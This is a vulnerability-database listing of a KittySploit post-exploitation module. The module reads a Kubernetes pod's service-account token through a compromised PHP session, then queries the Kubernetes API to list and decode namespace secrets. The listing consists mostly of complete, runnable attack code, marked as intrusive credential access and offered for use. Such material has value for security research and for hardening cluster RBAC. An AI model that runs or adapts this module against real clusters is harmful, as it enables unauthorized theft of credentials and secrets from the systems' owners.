Lucene search
+L

Kubernetes ServiceAccount Secret Reader

🗓️ 29 Jun 2026 19:11:00Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Script reads a pod service-account token from a PHP session to query Kubernetes secrets.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import json

from kittysploit import *


class Module(Post):
    __info__ = {
        "name": "Kubernetes ServiceAccount Secret Reader",
        "description": (
            "Reads a pod service-account token from a PHP session and uses it to query the "
            "Kubernetes API for secrets in a namespace."
        ),
        "author": "KittySploit Team",
        "platform": Platform.UNIX,
        "session_type": SessionType.PHP,
        "arch": Arch.PHP,
        "tags": ["kubernetes", "k8s", "serviceaccount", "secrets", "rbac", "cloud"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['credential_access', 'api_request'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['credentials', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': ['shell'],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }

    api_server = OptString("", "Kubernetes API URL; empty uses KUBERNETES_SERVICE_HOST/PORT", False)
    namespace = OptString("", "Namespace; empty reads serviceaccount namespace file or defaults to default", False)
    secret_name = OptString("", "Specific secret name to fetch; empty lists namespace secrets", False)
    token_path = OptString("/run/secrets/kubernetes.io/serviceaccount/token", "ServiceAccount token path", False)
    namespace_path = OptString("/run/secrets/kubernetes.io/serviceaccount/namespace", "ServiceAccount namespace path", False)
    decode_values = OptBool(True, "Base64-decode secret data values in module output", False)
    verify_tls = OptBool(False, "Verify Kubernetes API TLS certificate", False, advanced=True)
    max_output = OptInteger(20000, "Maximum output characters to print", False, advanced=True)

    @staticmethod
    def _escape_php(value: str) -> str:
        return (value or "").replace("\\", "\\\\").replace("'", "\\'")

    def _php(self) -> str:
        api = self._escape_php(str(self.api_server or "").strip())
        ns = self._escape_php(str(self.namespace or "").strip())
        name = self._escape_php(str(self.secret_name or "").strip())
        token_path = self._escape_php(str(self.token_path or ""))
        namespace_path = self._escape_php(str(self.namespace_path or ""))
        verify = "true" if bool(self.verify_tls) else "false"

        return f"""
$token_path = '{token_path}';
$namespace_path = '{namespace_path}';
$api = '{api}';
$namespace = '{ns}';
$secret = '{name}';
if (!file_exists($token_path)) {{
    echo json_encode(array('error' => 'token_not_found', 'path' => $token_path));
    return;
}}
$token = trim(file_get_contents($token_path));
if ($namespace === '') {{
    $namespace = file_exists($namespace_path) ? trim(file_get_contents($namespace_path)) : 'default';
}}
if ($api === '') {{
    $host = getenv('KUBERNETES_SERVICE_HOST');
    $port = getenv('KUBERNETES_SERVICE_PORT') ?: '443';
    if (!$host) {{
        echo json_encode(array('error' => 'api_server_not_set'));
        return;
    }}
    $api = 'https://' . $host . ':' . $port;
}}
$path = '/api/v1/namespaces/' . rawurlencode($namespace) . '/secrets';
if ($secret !== '') {{
    $path .= '/' . rawurlencode($secret);
}}
$ctx = stream_context_create(array(
    'http' => array(
        'method' => 'GET',
        'header' => "Authorization: Bearer " . $token . "\\r\\nAccept: application/json\\r\\n",
        'ignore_errors' => true,
        'timeout' => 15
    ),
    'ssl' => array(
        'verify_peer' => {verify},
        'verify_peer_name' => {verify}
    )
));
$response = @file_get_contents($api . $path, false, $ctx);
$status = isset($http_response_header[0]) ? $http_response_header[0] : '';
echo json_encode(array('api' => $api, 'namespace' => $namespace, 'secret' => $secret, 'status' => $status, 'response' => $response));
"""

    @staticmethod
    def _decode_secret_values(obj):
        import base64

        def decode_map(data):
            out = {}
            for key, value in (data or {}).items():
                try:
                    out[key] = base64.b64decode(value).decode("utf-8", errors="replace")
                except Exception:
                    out[key] = value
            return out

        if isinstance(obj, dict) and obj.get("kind") == "Secret":
            obj = dict(obj)
            obj["decoded_data"] = decode_map(obj.get("data") or {})
            return obj
        if isinstance(obj, dict) and isinstance(obj.get("items"), list):
            obj = dict(obj)
            items = []
            for item in obj.get("items") or []:
                items.append(Module._decode_secret_values(item))
            obj["items"] = items
        return obj

    def run(self):
        raw = self.cmd_execute(self._php())
        if not raw:
            print_error("No response from PHP session")
            return False
        try:
            envelope = json.loads(raw)
        except Exception:
            print_warning("Could not parse response envelope as JSON")
            print_info(raw[: int(self.max_output or 20000)])
            return False

        status = envelope.get("status") or ""
        body = envelope.get("response") or ""
        print_info(f"API: {envelope.get('api')} namespace={envelope.get('namespace')} status={status}")
        if not body:
            print_warning("Kubernetes API returned an empty body")
            return False
        try:
            parsed = json.loads(body)
            if self.decode_values:
                parsed = self._decode_secret_values(parsed)
            rendered = json.dumps(parsed, indent=2, sort_keys=True)
        except Exception:
            rendered = body
        limit = int(self.max_output or 20000)
        print_info(rendered[:limit])
        if len(rendered) > limit:
            print_warning(f"Output truncated to {limit} characters")
        return status.startswith("HTTP/") and " 200 " in f" {status} "

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation